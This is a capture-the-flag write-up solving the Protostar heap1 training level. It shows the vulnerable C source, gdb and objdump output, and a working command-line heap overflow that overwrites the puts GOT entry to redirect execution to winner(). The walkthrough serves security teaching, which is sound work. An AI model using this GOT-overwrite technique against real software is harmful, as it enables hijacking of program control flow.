Protostar – heap1

Information

This level takes a look at code flow hijacking in data overwrite cases.

This level is at /opt/protostar/bin/heap1

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

  

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

Solution

In this level, the arguments sent to the program are not controlled by size. I can overflow the members ‘name’ of both structures internet ‘i1’ and ‘i2’.
Let’s see the content of these structures in the memory, but first, I need to find where the structure are stored in the heap :

$ ltrace ./heap1 A A
__libc_start_main(0x80484b9, 3, 0xbffff804, 0x8048580, 0x8048570 
malloc(8)                                                                       = 0x0804a008
malloc(8)                                                                       = 0x0804a018
malloc(8)                                                                       = 0x0804a028
malloc(8)                                                                       = 0x0804a038
strcpy(0x0804a018, "A")                                                         = 0x0804a018
strcpy(0x0804a038, "A")                                                         = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)                                                = 25
+++ exited (status 25) +++

Fine, now let’s see the memory :

$ gdb -q ./heap1
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) b *0x0804855a
Breakpoint 1 at 0x804855a: file heap1/heap1.c, line 34.
(gdb) run AAAAAAAA BBBBBBBB
Starting program: /opt/protostar/bin/heap1 AAAAAAAA BBBBBBBB

Breakpoint 1, main (argc=3, argv=0xbffff7d4) at heap1/heap1.c:34
34	heap1/heap1.c: No such file or directory.
	in heap1/heap1.c
(gdb) x/16x 0x0804a000
0x804a000:	0x00000000	0x00000011	0x00000001	0x0804a018
0x804a010:	0x00000000	0x00000011	0x41414141	0x41414141
0x804a020:	0x00000000	0x00000011	0x00000002	0x0804a038
0x804a030:	0x00000000	0x00000011	0x42424242	0x42424242

Heap header of ‘i1’
i1->priority value
i1->name location
Heap header of i1->name
i1->name value
Heap header of ‘i2’
i2->priority value
i2->name location
Heap header of i2->name
i2->name value

When the program calls :

strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

It writes in the memory location 0x0804a018 the argv[1] and in the memory location 0x0804a038 the argv[2].
If I overflow argv[1], I can overwrite the memory location of i2->name. Then thanks to argv[2], I can write what I want in this new location.

The goal is to execute the function winner(). After the second strcpy(), the program calls printf() but as there is no argument, it uses puts() :

(gdb) disas main
...
0x08048538 <main+127>:	call   0x804838c <strcpy@plt>
0x0804853d <main+132>:	mov    0xc(%ebp),%eax
0x08048540 <main+135>:	add    $0x8,%eax
0x08048543 <main+138>:	mov    (%eax),%eax
0x08048545 <main+140>:	mov    %eax,%edx
0x08048547 <main+142>:	mov    0x18(%esp),%eax
0x0804854b <main+146>:	mov    0x4(%eax),%eax
0x0804854e <main+149>:	mov    %edx,0x4(%esp)
0x08048552 <main+153>:	mov    %eax,(%esp)
0x08048555 <main+156>:	call   0x804838c <strcpy@plt>
0x0804855a <main+161>:	movl   $0x804864b,(%esp)
0x08048561 <main+168>:	call   0x80483cc <puts@plt>
0x08048566 <main+173>:	leave  
0x08048567 <main+174>:	ret    
End of assembler dump.

I need to overwrite the GOT entry of puts() with the memory address of winner().
First, let’s find those memory addresses :

$ objdump -R ./heap1 | grep puts
08049774 R_386_JUMP_SLOT   puts
$ objdump -t ./heap1 | grep winner
08048494 g     F .text	00000025              winner

Now, I need to know the overflow len of argv[1] which overwrites i2->name location :

(gdb) x/16x 0x0804a000
0x804a000:	0x00000000	0x00000011	0x00000001	0x0804a018
0x804a010:	0x00000000	0x00000011	0x41414141	0x41414141
0x804a020:	0x00000000	0x00000011	0x00000002	0x0804a038
0x804a030:	0x00000000	0x00000011	0x42424242	0x42424242

The len before i2->name location is 20. Now I have everything I need, let’s fire up :

$ ./heap1 $(python -c 'print "A"*20+"\x74\x97\x04\x08"+" "+"\x94\x84\x04\x08"')
and we have a winner @ 1440095580

That’s it, heap1 is done.


Laisser un commentaire